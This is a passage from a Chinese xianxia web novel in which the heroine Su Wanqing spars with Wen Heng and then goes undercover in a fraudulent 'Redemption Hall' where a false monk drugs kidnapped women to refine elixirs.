走近床边,他目光中的深邃越发加深,微微扬手,正欲动手,那名带着面纱的女子忽然睁开了眼眸,抬腿而去,转了一圈转进温衡的怀中。
朱唇轻启,面纱遮去女子大半张脸,只余那双迷人的双眼,似有几分撩人,流波暗转,眼角下的泪痣成了点睛之笔,旖旎而风情万千。
她借机攀在他的怀中,扯了扯嗓子,柔柔的声音带上了几分娇嗔,道:“郎君连我的样子都不肯见,就要杀了,这让小女子着实伤心,肠都要哭断了。郎君不要这么狠心。”
她的手渐渐上移,落在他的胸膛之上,正欲动手,那人却灵巧地捉住了她的手,紧紧握着。
温衡眼中闪过一丝笑意,饶有兴趣地道:“那美人想要我怎么做?”他的话带着诱惑,那打量的目光也多了一丝情动。
“得看公子有什么?”
怀中的女子身上有股清香,是桃花盛开时所散发的浅浅香味,他没推开苏晚清,只是握着她的手,另外一手从她的脸颊划过,似要摘去她的面纱。
下一刻,苏晚清挣脱开他的手,轻薄的衣纱如流水般轻柔地划过他的脸,快得抓不住,“郎君想看我的样子,得有诚意。”
“想要什么?”他的声音带着蛊惑,比平日低沉了不少。
话毕,温衡从腰间拿出一枚晶莹剔透的玉坠,将扣子挂在指尖,余下的坠子悬挂于空中,他揽住女子纤细的腰肢,将其移到她的面前。
“这个玉坠是我花了重金所得,看着极美,实则毫无用处。”他挑了挑眉,似有考量,又道,“喜欢吗?若喜欢,送你了。”
这玉坠色泽透亮,透过烛光浮现出璀璨的光芒,苏晚清丝毫感觉不到这里面有任何灵力气息的流动。
“公子赏赐的礼物,小女子自然是要的。”她微微一笑,伸手去拿,温衡往后半步,高举半空。
他勾唇一笑,盯着她道:“会不会跳舞?跳支舞。本公子高兴了,就赏给你。”
之前曾有传闻说温衡此人不近女色,刚才也曾听过他的手下提过,为何眼下温衡又突然来了兴致,如此善变。
苏晚清原本是想着趁着被退出去时调查阮玉秀的下落,若是天魔宗真的杀害了玉秀,她不介意独闯天魔宗总舵。
眼下只能先应付好温衡,依他所言,跳支舞先麻痹他,再出其不意攻其不备。她的舞姿不算太好,早些年下山除妖时扮作舞娘学了一支舞,除此之外,不会其他。
当她的纱袖拂过他的眼前时,温衡趁机抓住她,而她作势围着他转了一圈,撞入他的怀里,手搂住他的脖子。
一根银针足以令人昏厥一个时辰,苏晚清刚准备出手,那人便将自己甩了出去,还未反应过来之时又被揽住腰肢,他的视线落在她的唇上,也不打算揭开她的面纱,只是缓缓靠近,温热的呼吸落在苏晚清的脸上。
她伸手,抵在他的唇上,摇了摇头,随即挣脱开男子的桎梏,去夺那枚玉坠。
男子也不恼怒,眼神之中早已了然。
温衡道:“你叫什么名字?”
“小女子姓温,单名一个浅。”她随意胡诌了一个名字,温衡听后,嘴角浮起一丝笑容,而后笑意浅去,逐渐由其他不明意味的情绪代替。
趁他松手之际,成功取走了其手中的玉坠。而温衡在霎那间,以灵力毫不犹豫地揭下了她的面纱。
两目相对,不是尴尬,而是离去的温情。
“苏姑娘,怎么改姓温了?是有意嫁我,做我夫人?”温衡早在她开口那一刻便知道面前之人是苏晚清,他想看看不一样的苏晚清是何模样,便与她周旋,原来这女子不止那副令人生厌的样子,还有如此风情之处。
苏晚清见他认出了自己,也不再扯着嗓子,以本音答之:“想做我夫君之人多的是,不缺你温少宗主。若是你肯放下这少宗主之位,我还能考虑一番。”
他像是听到了什么极好笑的笑话一般,忍着笑意,眼眸却是暗下了几分,反问道:“你以为你是谁?值得我放弃这来之不易的身份,你未免也太过高看你自己。”他说罢便要将门打开,苏晚清见状连忙阻止。
“玩笑而已,不必当真。像温少主这样的人我可高攀不上。但我想问一语,昨日的女子可是名唤阮玉秀?”她仔细检查玉坠,并无任何损坏之处,不知温衡是何意,又道,“还有,你要这玉坠做什么?”
话音刚落,她手里的玉坠碎成齑粉,毫无征兆地散在地上。
温衡向她走了一步,眼底笑意全无,渐渐由杀意替代,同时还有几分不屑藏匿于其中,他的目光落在她的身上,“我为何要告知你?”
“今日你敢到我的地界,我便将这黄泉之路送你。”温衡不再废话,挥手散出的灵力越过苏晚清,重击于石门之中,顷刻过后,石门大开。
*
最先进来的是之前的两个手下,一见是苏晚清,起初觉得熟悉,仔细回想后立即反应过来是她在草木村的荒山击晕了他们。还在谈论之中,一道力量迅速涌来,给了两个人一人一个巴掌,怒喝的声音响起:“蠢猪,还不去请柳护法前来御敌。”
两人未答复,便被两股力量掀了出去,整个洞府开始松动,他们滚到几里之外,刚爬起来便瞧见山顶涌现出两道若隐若现的灵力相互对峙,时不时地在黑夜中划出几道明亮的划痕。所到之处,皆难逃过杀机。
“少主能打得过吗?为何要去请柳护法?柳护法的洞府被毁,少主很难交代。”
另外一人在旁边附和,渐渐地便感觉到了不对劲,猛的给了说话那人重重的一拳,骂道:“还不快去禀告,少主与那女子实力相当,若柳护法一起,她定不是对手。”说着,两人在无数攻击侵袭而下之中总算抵达柳宿眠打坐的地方。
前几日被燕寒舟重伤,柳宿眠在外设下结界,任何人都不能打扰。
这可没法了。
所有人皆被重伤于苏晚清的剑下,从高山跌落至底下,她得速战速决,她的灵力不在温衡之下,若要取胜便要借助瑶光镜。
在瑶光镜的帮助下,温衡果然不敌,立即被她所擒,她刀悬于他的颈侧,那些人碍于温衡不敢动手。
“温衡,我再问你一次,昨日的女子是否为草木村的阮玉秀,你只须回答我是或是不是?”
温衡未答她这个问题,只是道:“苏晚清,你胜之不武。”
苏晚清用刀敲了敲他的脖子,威胁般地道:“眼下你命在我手,好好回答我的问题。”
迟来的两个手下见状先是惊了一下,随即故作痛心地求苏晚清放了温衡,替温衡答了她的疑问:“我们不知昨日那位脸上有疤的姑娘是苏姑娘的故人,对不住了。”
脸上有疤,说明不是阮玉秀。
但肆意杀害无辜之人,也是不可宽恕。她耳中传来温衡充满杀意的声音:“苏晚清,下一次,我要你死在我的面前。”
“好,我等你杀我。”苏晚清松了手,唤来灵剑,以疾风之速远走这是非之地,在离去的刹那间还顺手毁去了此处的祭坛。
在她离去的一刹那,温衡若有所思地抚上脸上被苏晚清划过的伤痕。倏忽之间,他出手将未被毁完的祭坛毁尽,他的嘴角慢慢上扬,心里的想法又加深了许多。
阮玉秀确实不在此处。
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早在入门之时,她便将带着玉秀气息的灵虫放出。若灵虫得到某个人的气息,能在三日之内在其人待过的地方寻得其气息。据灵虫禀告,这里并无阮玉秀的气息。
那会在何处?
*
苏晚清已经下山一日,未进水食。此刻她的肚子饿得响了起来,她去镇上寻了个店家,点了一桌饭菜。满满当当的饭菜惹来了一位妙龄女子的鄙夷,苏晚清很是不解,便问其这是为何。
苏晚清此时已经顾不得礼仪,夹着喜欢的菜放至碗里便吃了起来。
那名女子答道:“女子多饮多食乃是罪,何况你如此浪费钱财,如何对得起家中男丁不辞辛劳地耕地?”
……此话何意?是嫌弃她吃得多?
她回道:“姑娘,我家中只有我一人。”
如今已是夜半,苏晚清不知如此危险的时辰竟会有柔弱女子外出,出于担忧之情,她还是想道:“这么晚了,姑娘是要去何处?夜半最易出现盗贼,姑娘要小心为好,早日归家。”
“要你管?”听到苏晚清后面关心的话,那名女子语气又柔和了许多,也不再那么无礼,但又觉苏晚清是个什么都不懂的山野之人,话里带着几分炫耀,“说了你也不知,罢了罢了,我告知你罢。”
“从这家客栈后门出去便能到赎罪堂去,我是要去那替我父兄求个好出路的。我看你一个人孤苦伶仃的,何不去那求个姻缘?”
女子神神秘秘地说着,眼里满是欣赏与殷切,与她说完后便迫不及待地离开了。
她还想问,为何不是白日前去。
店小二端着最后一道菜前来,刚才也听到了一些话,明里暗里地提示苏晚清他有消息,但迟迟不语,只待她拿出银子向其购买消息。
苏晚清给了他一点碎银。
“这里以前有个白云寺,后面死了人,官府就把它给封了,荒废了十几年。”店小二的语气抑扬顿挫,颇为适合当个说书先生,他转折,道,“后来怎么着?就在年前,来了一位得道高僧,花一万两重新修缮了白云寺,改名为赎罪堂。”
他继续道:“赎罪堂,说白了便是赎罪之地。其实不然,里面有位神仙,听说能摸骨断人生悲欢离合,许多人慕名而来。但要花一千两才能见到神仙,而且神仙只在晚上相见,白日你只能见到李淮颂公子。没钱的百姓只需要花十两银子,便能断吉凶,还能算算姻缘。”
便是说,从前的白云寺变为了如今的赎罪堂,官府也允许赎罪堂的开设,但苏晚清有一事不解,她询问道:“如何能断定普通百姓得到神仙教诲?”
小二嗨了一声,将快要掉落的抹布又重新放回肩上,“凡是得到指点之人,手里都会有契据。姑娘想去算算姻缘吗?”
苏晚清了解得差不多了,便摆手让他离去,自己再琢磨一二。
定好房间,她站在窗边沉思,关于小二所说的契据,她曾在刘大婶家中见过,玉秀的失踪是否与这赎罪堂有联系。
还有那荒山之中死去的张肇。
实在蹊跷。
她此前也听说过白云寺闹鬼的事,也曾去除鬼,但无疾而终。里面并没有所谓的鬼,只有几只野生的动物在其内居住。
李淮颂这人的名字她第一次听,格外陌生,若有机会,定要去会会是何许人士。
想到此处,苏晚清决意前去赎罪堂探探。
堂里并无守卫,只有一只狸花猫在那蹲着,她刚想一跃而上从屋顶爬过去,却被笼罩着的结界弹了回来。
强攻势必会引来里面之人的怀疑,苏晚清先作罢。
山上试炼还有几日,待她明日前来探探这所谓的赎罪堂,是否真的存在摸骨断吉凶的神仙。
11. 赎罪堂里不赎罪
翌日清晨。
赎罪堂便聚集了诸多的百姓,他们列成三队,陆续进堂。
苏晚清换上一身朴素的衣裳,质朴无华,一看就是村里人的打扮,耳旁两处青丝由玄色发簪缠绕并系在发髻之下,其余青丝半散在身后。
步态袅娜,那张娇俏之中带着几分美艳的脸未施粉黛便已昳丽艳绝,远看静如窈窕淑女,近看动如灵动鹿兔,好不引人注目。
跟在队伍之中,苏晚清默默将耳朵探过去,便听到有两个百姓在前争辩。
他们是如此说的。
“今天能不能见到大仙?我昨日不小心打死了家里的狗,我有罪,买了契据我能减少罪孽,安心许多。”
“你看你那没出息的样子,打死一只狗算什么?我还杀了人。”后面那人话一说出,便惹来众多异样的目光,他赶紧紧张地解释自己并未杀人,只是随口一说,当不得真,当不得真。
除了店小二昨夜所说的,苏晚清还从百姓的口中得知,若想在夜里遇到神仙,那必须参加白日的择选,须满足天时地利人和与赎罪金才行。
苏晚清os:“这当真是普度众生的宗门?听上去也不过是个吸取民脂民膏的敛财之所。”
*
“小心,闪开!快闪开!”
熙熙攘攘的街上传来一道慌张的声音。
纵眼瞧去,是位年轻的车夫紧紧地拉着马绳,那双粗糙的手已经红了很多,汗液自他的脸庞两侧滑下,他惊慌地看着眼前挡在马前的妇孺。
正当要撞上妇孺之时,一道黑影如迅雷一般自眼前闪过,将妇孺带离了这个地方。
苏晚清迟了那人一步,她若有所思地看着那道熟悉的黑影,决定先放下这里的事,正欲追上去。
那人衣冠楚楚,自带风华,一看便是位温润公子。她在早些年见过,他便是天音门掌门之子陆竟渊。
陆竟渊一袭白衣,不同以往的是他今日所着的衣裳颇显华贵,但又没有高高在上的感觉,反而是平易近人。他笑着给了妇孺一袋银子,随后往她这个方向赶来。
“苏姑娘怎么也在此?”陆竟渊在人群中瞧见了她,迟疑了半分,随即走上前去打招呼,语气很是温和。
不知为何,被他这样盯着,苏晚清格外不自在,她随便想了一个理由,道:“听闻这里可以求姻缘,我来试试灵不灵验。”
陆竟渊点头,提议道:“我正好要进去找李公子,若不介意,苏姑娘便随我一起入内罢。”
苏晚清不了解陆竟渊这个人,单从形象谈吐来看,大概不会是温衡那类之人。
于是她先是客气地道了谢,便随陆竟渊一道入了赎罪堂。
走在路上,她不禁想起三年前那日。当初草木村的刘玉柱曾言是天音门亲眼所见她屠戮百姓,陆竟渊在仙盟的地位不低,却也不见他有所表示。
说来,陆竟渊好像看出了她的心思,他道:“晚清,当初是我天音有误,害你受了不白之冤,陆竟渊在此向你赔个不是。”
事实确实如燕寒舟所言那般,除了秋山派,仙盟其他门派已做出表态,不再追究苏晚清所犯之错——无尘派一事。
“往事不堪回首,既已过去,便是过往。”她释然地道,女子一脸淡然,眼中毫无波澜。静了约莫一刻,她将话锋一转,道,“陆公子也喜欢来此吗?”
喜欢倒是谈不上,但至少来了多次。陆竟渊介绍了这里的布置,听到她的疑问,解释着:“不怎么来,苏姑娘若是不嫌弃,便唤我竟渊,我也唤你晚清。”
苏晚清顺他的意:“竟渊,我见你似乎对此很了解,想必与这里的东家李淮颂公子十分熟识,你可知李公子平日何时会来此?”
此言一出,陆竟渊的神情变了许多,但他依旧是那副温吞的模样,将自己与李淮颂的关系拉远,
“我与李家公子并不相熟,来此只为满足家父心愿,但我也有所耳闻,若你对神灵感兴趣,我有办法让你留下来。”
他对旁人的好来得太过意外,苏晚清没有办法去相信一个素昧平生之人,她拒绝了他的提议,表明自己只是来求个姻缘,除此之外,再无其它。
那边来了人。
陆竟渊跟着一个修行的小和尚离开,她在这院里转了一圈,并没有发现什么异常的地方。除了一处荒废已久的老宅,她刚踏入,便被前来的守卫怒喝,说是闹鬼,不允许闲杂人等入内。
“我与陆竟渊公子同来,乃是贵客,可算闲杂人等?”她的话貌似起了一点作用,但守卫也不傻,说了一堆不可入内的危害与规矩,她知若是继续纠缠下去便会惹来麻烦,也会连累陆竟渊。
*
她又去到东厢房,结果也被拦了下来,说是那处有位贵客不喜喧闹,租下了整个东厢房。
还是作罢了。
她摸了摸衣袖,尚有钱财,再不济,她便以天选之女的身份进入这赎罪堂之中,看看这里究竟在做些什么。
“今日最高价五千两,最低价两千两。一共四位姑娘,还有没有姑娘愿意出价?”
“我出两千两。”
苏晚清从门外踏出之后,寻个无人的角落易容,随后回到赎罪堂门前,又在人群之中高声喊价。
无人应答。
就在她以为要一锤定音之时,一道熟悉的声音飘过她的耳旁,喊出了高于她之价钱:“我出三千两。”
苏晚清顺着声音的来源望去,人满为患之地却见一女子自人群拥挤而出,女子眼底满满的挑衅之色,扬了扬下巴道:“苏晚清,别以为换了样子我就不知道是你,化成灰我也认得你。你要跟我抢吗?”
熟悉的声音,熟悉的语调,熟悉的人。
除了崔瑶,苏晚清想不到是谁。所有目光汇聚于二人身上,崔瑶身后还跟着裴忆锦,此刻正害羞地扯着崔瑶的衣服。
“这位姑娘,你可要加价?”喊价的弟子藏不住欣喜,连带着的语气也是激动万分,既希望苏晚清加价,也希望崔瑶加价。
苏晚清不知赎罪堂是否藏有凶险,她也不愿她们以身犯险,她喊道:“我出三千五百两。”
崔瑶也继续道:“我出四千两。”
“好,你们快去。”照她这么花下去,清水居早晚会垮,苏晚清还是得为了以后的谋生做打算。
崔瑶:“……”怎么不继续了?
忽有一位妇人愁容满面地提着画像四处询问,从那边来至这边,中途被人赶了许多次,最终在悲愤交加之下冲到赎罪堂前,扯着堂里弟子的衣襟质问道:“我问你,我女儿去哪了?去哪了!她昨夜才和我说要来这里为父兄求个好前程,如今一夜未归,你们把人怎么了?”
弟子嫌弃地推开,指着老妇骂道:“哪来的疯婆子,滚滚滚,女儿不见了上官府去,我们这里是赎罪堂,不是救济院。”
老妇泪如雨下,哽咽地道:“我女儿平日里乖巧懂事,说是来这里就不会去其他地方,就是你们把人藏起来了。”
弟子作势要打那老妇,被崔瑶拦了下来,恶狠狠地道:“那可不一定,没准儿是借着这个由头私会。”
“你胡说,你让我进去找!”老妇从地上爬起来就要往里冲,却被拦在了门外。
“堂里有规矩,不许不敬神灵的人入内。你走吧。”
老妇一人难敌多人,只能愤愤离开。临走之际,苏晚清叫住了老妇,说是要看其中的画。
当苏晚清看到画中的女子之时,她明显怔住了一下,随即未表明自己任何观点便将画还了回去。
她出了三千五百两。
而崔瑶与裴忆锦各出四千两,正好挤下了另外一名女子,成为赎罪堂口
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中的“天选之女”。
*
随着百姓陆续散去,只剩下了四个人,除了出了五千两的那名女子看着有几分熟悉,那步态绝非女子所有,如此豪迈张扬,丝毫不在意的仪态如何。
她心事重重地迈步入内,一旁的崔瑶走过来,撞了下她的胳膊,语气里依旧是那般盛气凌人:“大师兄竟连这个告诉你了。你还说大师兄不喜欢你,苏晚清。哼。”
……这个节骨点上,这个是重点吗?
苏晚清简直就是一头雾水,根本不知崔瑶在说些什么,但也能从其中猜到一些,他们都怀疑赎罪堂有异——想到此处,她忽然明白了什么,她指着走在面前走得婀娜多姿又奇怪,且极高的女子道:“所以,前面那个是燕师兄。”
“是燕师兄。”身后的裴忆锦小声地回答,刚说完便被崔瑶肘击了一下,立即沉默不语了。
苏晚清将裴忆锦拉到自己的身后,对着崔瑶道:“师妹,你老是别欺负忆锦。”
“挑拨离间,苏晚清也就只会这个了。”崔瑶又拉了回来,瞪着苏晚清说道。
苏晚清笑笑,不说话。
他们被安排在不同的房间,在检查的过程中搜去了随身带着的东西,饮下一种名为神水之物,说是能在恍惚之间得见神仙指点。
夜已渐深,赎罪堂派了几位弟子送来饭菜,苏晚清安静地坐在房里,忽然瞥见房中的梳妆台前的簪子,顺手拿了一支放入自己的衣袖里。
门外敲门声响起,她接过饭菜。那名弟子眼睛往屋里扫了一圈,嘴角牵起训练好的笑容,嘱咐道:“饭菜已备好,姑娘请慢用。堂里有规矩,这上面的东西不可浪费,若被发现,定会被神仙惩罚。”
苏晚清惊讶了半刻,好奇地问道:“我何时能见神仙?你们莫不是在诓我?”
那名弟子将手指虚掩于鼻口处,示意她不要出手,随后做出了手划在脖子的动作,笑意森然,是提醒又是威胁般地道:“不该问的别问。”
她的脸上闪过一丝害怕,当真是被那人的话给唬住了,在关门那刻又恢复从容之色,如今她在这里,她定要探个虚实。
不知阮玉秀,会不会在此。
从进了这间屋子,他们就只能等候召唤,不能随意出入。她百无聊赖地坐在床上,想开窗吹个风。还没有彻底打开,一道人影就冲了过来,将窗户封死,喊道:“请姑娘遵循堂里规矩,神仙即将抵达。”
她尴尬地收回手,贴在墙里,看看能否听到那些人在说些什么。
“她怎么还不晕?咱们公子可就点名要她了,前几日何赌鬼送来的姑娘公子就十分满意,可惜是个倔脾气的,公子白白花了一千两。要不咱们进去把她敲晕?”
“不能进去,万一生了变故,齐先生怪罪,你我担待不起。”
晕?
他们口中的李公子,应该就是李淮颂,那齐先生又是何许人也?
按照他们的意思,她现在是应该晕过去。苏晚清缓缓走到烛台旁边,挥手将其熄灭,期间碰倒了一样瓷器,佯装倒在铺好的地毯上。
听到里面的动静,门外的两人赶紧跑去通报。
也不知,其余三人的情况如何。
她在地上躺了半炷香,也不见有何异样,她准备起身之时,门外的身影已经消失,紧接着是有人扭了锁,蹑手蹑脚地搓着手进了房间,嘴里喊着:“美人儿,我来了——啊!”
苏晚清捂住李淮颂的嘴,尖锐的簪子抵在他的心口上,只能呜呜地发声,后面他瞧清晚清的样貌,也就不再挣扎,反而张口舔了舔她的掌心,一脸坏笑地盯着苏晚清。
她毫不犹豫地扇了他一巴掌,出手将其打晕在地,“恶心。”
脏了的手让她格外难受,她擦在了李淮颂的衣衫上,将人捆好之后,扮作他的模样出了门。
12. 陆竟渊有何企图
这里的布置似乎与白日看到的不同,她刚踏出半步,便发觉有人拍了下她的肩膀,她愣在原地,迟疑地转身,在看到来人的那一刻骂道:“滚,扰本公子雅兴。”
易容术应该能撑半个时辰。
这里的饭食与所饮用之水都被掺杂了迷药,更甚者为封闭灵力的邪药,幸好她早有准备,事先服下了百毒丹。
“公子,你这么快就完事儿了?以往您都得花两个时辰,是这姑娘不满意?”前来的人伸着脑袋去看,却被苏晚清一巴掌拍了回来,她咳了几声,打发他离开。
手下不解地挠了挠后脑勺,看上去十分天真烂漫,又不敢多问,生怕主子一个不爽就拿他开杀。
“公子,这姑娘已经是齐先生的了,小的这就把她带走。”
苏晚清拦着他的路,说道:“她留下,齐先生由我去说。你去把另外三个带走。”
她忍不住往后瞥了一眼手下,见他似在沉思,转而又十分欣喜地道:“就是得如此,上次那位姓阮的姑娘您就没能留下,这次就要好好挫挫姓齐的锐气。”
线索总在需要时出现,苏晚清一听有意外的收获,连忙问道:“姓阮的姑娘?阮玉秀?”
手下回答道:“可不就是嘛。公子您可喜欢她了,只可惜阮玉秀不识好歹。你一气之下也就送给齐先生了。”
她再道:“送给那秃驴做什么?”
上司似乎变得比以前痴傻了许多,手下一脸疑惑,用手抚了自己的额头又抚了苏晚清的额头,温度相当——这公子怎么还比之前矮了,是错觉吗?他的动作仍在持续,却在下一刻被苏晚清甩开。
“别用你的脏手碰我,本公子想说什么就说什么,你只须回答。”
公子还得是公子,语气如从前一般。如此的话,他也就不再心存疑虑,只当是公子纵欲过度,失了诸多记忆所致,便道:“当初您与齐先生合办赎罪堂,您负责为他找年轻貌美、财大气粗的姑娘炼丹,而公子得到的好处便是那些女子的初夜。公子,您都不记得了吗?”
刚才就应该掐死李淮颂,苏晚清默默翻了一个白眼,这样丧尽天良、危害女子的无耻之徒不该好好活着,就应该下地狱。
她询问手下是否知道齐先生在何处,手下也不知,他只是负责将人送至西厢房的荒宅,之后便不得而知了。
如此,她打算前往西厢房,她将灵虫放出,将此处的消息告知另外三人,正当她正欲推开门之时,身后响起一道比较熟悉的声音:“李兄想去哪里?这里其他人进不了,别去送死。”
那人的声音温温柔柔,说的话给人的感觉却总带着威胁的意味,她止住动作,回头瞧了那人一眼,原来是陆竟渊,心里觉得这人来的真不是时候。
苏晚清走到陆竟渊身旁,眼下她是李淮颂的样貌,他们应当是同辈,她道:“我闲来无事,四处逛逛。”
陆竟渊显然不信她的说辞,那颇为怀疑的目光就这么落在她的身上,他的眼睛眯了一下,随后若释然般道:“既然闲来无事,就去我房中坐坐,我正好有要事与你相商。”
“不必了,我今夜乏了,就不叨扰陆兄了。”
陆竟渊笑了一下,神情却有些冷漠,他的话落在了她的身后,“关于令妹的事也不想知道吗?”
……该来的时候不来,苏晚清是最会假笑,她换上一副笑颜,跟上陆竟渊的步伐一起离开了此地。
离去之时,她清楚地看到几个侍卫抬着三个麻袋,将其放在了西厢房荒宅之外,嘴唇在动,应该是在交代些什么事情。
她跟着陆竟渊回到他的房里,坐在窗前赏月、品茶,但陆竟渊迟迟不语,只是倒好了茶,递过来,目光却一直未从她的身上离开。
她有些不明白,面前这个人是何意。沙钟上方的沙快要流尽,而陆竟渊依旧饶有趣味地盯着她,似乎在等她开口。
不说便罢。
她未动面前的茶,只道自己刚饮过茶水,此刻并不口渴。最后她还是按捺不住,先道:“陆兄,你说有舍妹消息是怎么回事?”
陆竟渊起身去将画取来,拿给苏晚清,看着慢慢展开的画中女子,才娓娓道来:“之前家父寄宿在此多有打扰,为表感激,我多次追查令妹的行踪,终是有了下落。”
这话的意思是想与李淮颂撇开关系吗?为何听上去如此冷漠。
画里的女子是位清秀可爱的佳人,笑靥如花,弯月俏眉,倒是生得可人,最为突出的是女子左手的月牙胎记,这些特征尽收于她的眼底。
此女子与李淮颂倒是有七分相似,确为其妹,她也听闻李淮颂之妹在三年前就已失踪,下落不明。
若有收获,何不在白日会面之时告知,偏偏等到这夜深人静。她猜不透陆竟渊在这个节骨眼上将她唤到此处的目的,除非是陆竟渊早知她不是李淮颂。
“陆兄是在说笑吧。”再不走,易容术快要撑不住了,她得想办法离开。
他的目光如锐利的箭簇,而她就像靶心一般,几乎是在刹那间就要被刺穿。苏晚清忽然意识到了什么,起身说要去如厕,却被陆竟渊叫住。
“晚清,想去哪里?”他果然认出了她,陆竟渊悠悠地转着手中的茶樽,灿烂的笑容在他的脸上晕染开来,那是掌控全局的快意。
苏晚清也不再掩藏,面对着他道:“何时认出来的?”
陆竟渊道:“给你看画的时候。李淮颂这个人是个粗鄙又好色的人,晚清你眼中毫无欲望,自然不是他那等好色之徒。何况,气味是无法掩饰的。”
陆竟渊是指她身上的桃花香囊散发出的气味,怎么将这茬忘记了?苏晚清在默默掐了自己一下,嘲自己竟能如此大意。
她不明白陆竟渊的用意。
既然陆竟渊说这幅画是李淮颂的妹妹,对于自己的亲妹妹又岂会生出恶心至极的歹念?
“陆竟渊,你会对自己的妹妹起歹心?”她实在不知,她对李淮颂的了解也仅仅局限于搜罗而来的消息,实际为何她也未能从中得知。
她的话戳中了陆竟渊,他此刻觉得苏晚清尤其有趣,他给的答案是无边笃定的,“我自然不会,但李淮颂可不一定。”
他的话令她醍醐
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灌顶,“你故意邀我来此,是想阻止我?你想做什么?还是说,你为执棋之人?”
“你我也算有缘,作为师兄,我想给你几分提醒罢了,至于赎罪堂如何都与我天音门无关。我想告知师妹一言,一定要将穷凶恶极之人绳之以法。”
陆竟渊并没有承认,只是交代了她几句话便离开了此地,她甚至觉得他有些莫名其妙,来之匆匆,去之匆匆。
这陆竟渊是想撇开关系,苏晚清刚才趁他不注意,已暗自取下了他的玉佩。但仔细观察后,这一玉佩上面却刻着李淮颂的名字。
陆竟渊离去之前,苏晚清没来由地问了句:“陆师兄平日有熏香的习惯吗?”
他有所察觉,淡然道:“不曾。”
*
当她抵达西厢房之时,结界已经被燕寒舟他们所破,她立即赶进去。
这里连接着一处山洞,通道周围的墙壁都是由石头所著,阴冷而略带着湿气。一路走来,满地铺上青苔,稍有不慎便会摔倒。
“齐先生,这些人怎么处理?”抵达尽头之时,苏晚清感知有光袭向她的方向,为保被人发现,她贴在墙上,听着从前方传来的声音。
还有女子呜咽之声。
“嗯~万事俱备,只欠东风。起锅!先把那三个人放进炉鼎,给我好好炼化。”
被称作齐先生的人打坐在众人之前,半睁着眼睛,满是皱纹的脸被人划下三道疤痕,五官几乎是扭在一起,看上去面目可憎。
她悄悄露出脑袋,其视线寻找那三人的行踪,终于在一个角落得到了终点。
他们旁边还躺着一位目光呆滞的姑娘,身着蓝色绣裙,手上所佩之物为七色莲花链。
正是她赠予阮玉秀之物!
但不知为何,师兄几人并没有什么动静,苏晚清怀疑他们是否受到了威胁或是伤害。
从她这个方向看过去,能勉强看到在那群人中间屹立着一座高大雄伟的炉鼎,炉中火焰燃燃不息,若黎明后的烈阳一般炙热。
她化作一只飞蛾,从上空飞跃而下,本想借着这幻形术好好观察一番他们的动向。
可谁曾想,当她靠近崔瑶的时候,维持幻形的灵力开始出现紊乱,竟在一瞬间骤停。
一下子便摔在在了地上,众人的目光不约而同地袭向她的方向。
崔瑶恍然大悟,方知刚才那只在她身边噗嗤翅膀的飞蛾是这个讨人厌的苏晚清。
崔瑶略微嫌弃地看了苏晚清一眼,翻着白眼,语气更是不饶人:“苏晚清,你真丢人,若是以后出去,别说你是清风明月派中人。我,我丢不起这个人。”
“崔师妹,你先闭嘴。”苏晚清刚从地上爬起来,眼前倏忽地竖起尖锐的兵器,就那么径直地抵面前,差一点喉咙就被刺成窜窜,还好她躲得及时。
不过,也好不到哪里去,下一刻她便被擒住,捆到了炉鼎面前,秃驴张口就要她跪下。
“我——跪!跪跪跪。”眼见那充满尖针的鞭子就要落在她的身上,苏晚清二话不说就跪在了地上,笑得有点勉强,但还算过得去。
13. 赎罪堂覆灭
她的灵力竟在这一刻使用不上,实在诡异,她既没用弟子送来的饭食,也将那所谓的神水吐得干干净净,到底是哪里出现了问题。
也顾不得她是如何想的,她刚往前瞧了一眼,也就这一眼,她的瞳孔不禁放大了很多。
面前这张面目狰狞的脸距离她仅有一寸,心脏就像是骤停住了一般。在那一刻,苏晚清觉得自己会成为第一个被吓死的修仙弟子。
她本能地往后缩去,深吸了一口气,那张可怕的脸忽然远去,回到了原来的地方。
底下一阵哄堂,纷纷在说:“齐先生真乃神人是也,齐先生真乃神人是也!”
不就是把脖子挪得长一点了么,她也会。
齐先生咧嘴,一笑眼睛便眯成了一条线,他指着底下的苏晚清道:“你就是苏晚清?”
“这个苏晚清好,先拿她起炉,再拿那个女子。”齐先生指着挨在崔瑶旁边的燕寒舟,道,“对对对,就是她,这姑娘出手阔绰,五千两。一并丢进去!”
迟迟不动手,苏晚清疑惑地看着被押上来的燕寒舟,他的易容术要比苏晚清高明许多,直到如今,竟未露出一点破绽,她当真是佩服得五体投地。
但既然燕寒舟还有灵力维持易容,却未选择动手,想来当有他的主意。
燕寒舟摇头,暗自幻化出一条若隐若现的细线牵住她的手,默念咒语,以意念连接系线之人,他道:“晚清,你想办法牵制住那姓齐的,我寻机会毁了这丹炉。”
“师兄!我灵力全无,我一个弱女子怎么牵制住一个两百斤的老秃驴,你如此推我上火坑,师尊他老人家知道吗?”苏晚清听到这个要求时,先生震惊,随即不可置信地道。让她去,怎么不让崔瑶与裴忆锦两个有法力的一起,亏他想得出来。
燕寒舟一开始也是灵力尽失才未展开行动,幸是他灵力深厚又常年服用灵药,方能在短短的时间恢复灵力,至于崔瑶与裴忆锦灵力要低一些,需要恢复的时辰较长。
“她们两个中了招,灵力如你一般尽失,且还中了软筋散。但你不同,你虽召唤不出法器,但仍有可博的力气。我将此牵丝引给你,与你共生灵力。”
很好,非常好。
所以刚才崔瑶如此嘲讽她是再比谁更狼狈是么。
苏晚清同意了他的提议,她找机会挑衅齐先生,寥寥几语便将人惹得勃然大怒,一声令下便要先杀了她。
就在此刻,底下有位女子忽然大喊,时而悲恸哭泣,时而狂笑不止,刚整理好的青丝在此刻乱得不成样子。
*
“我有罪,我有罪,我杀人了!我应该去死,我应该死。我有罪,我应该去赎罪,我要赎罪,杀了我,求求你杀了我!”女子的泪水一滴又一滴地从脸颊滚落,跪在地上,不停地磕头认罪,额头那处地方已经青紫。
蓝衣女子泣不成声,一遍又一遍地数自己的罪,那是玉秀!
从前的玉秀绝不会是如今临近崩溃的模样。苏晚清被按在原地,眼里带着心疼与憎恨,语气不由得加重:“你对她做了什么?”
齐先生毫不在意地摊手一坐,随后又得意洋洋地走到苏晚清的跟前,抬手勾起她的下巴,细细打量着:“这个姑娘是个罪大恶极的人,她杀了人,就得入地狱赎罪。老朽只是让她提前入道感悟,到了下辈子也好投胎。”
“我呸,你这个为老不尊的秃驴,你看看这里哪个姑娘不是好好的,被你掳走后变得人不人鬼不鬼的。说得好听是入道,实则就是沦为你想长生的腌臜野心的祭品。我,我看不起你。”底下的崔瑶耳朵听得极其清楚,也忍不住骂道。
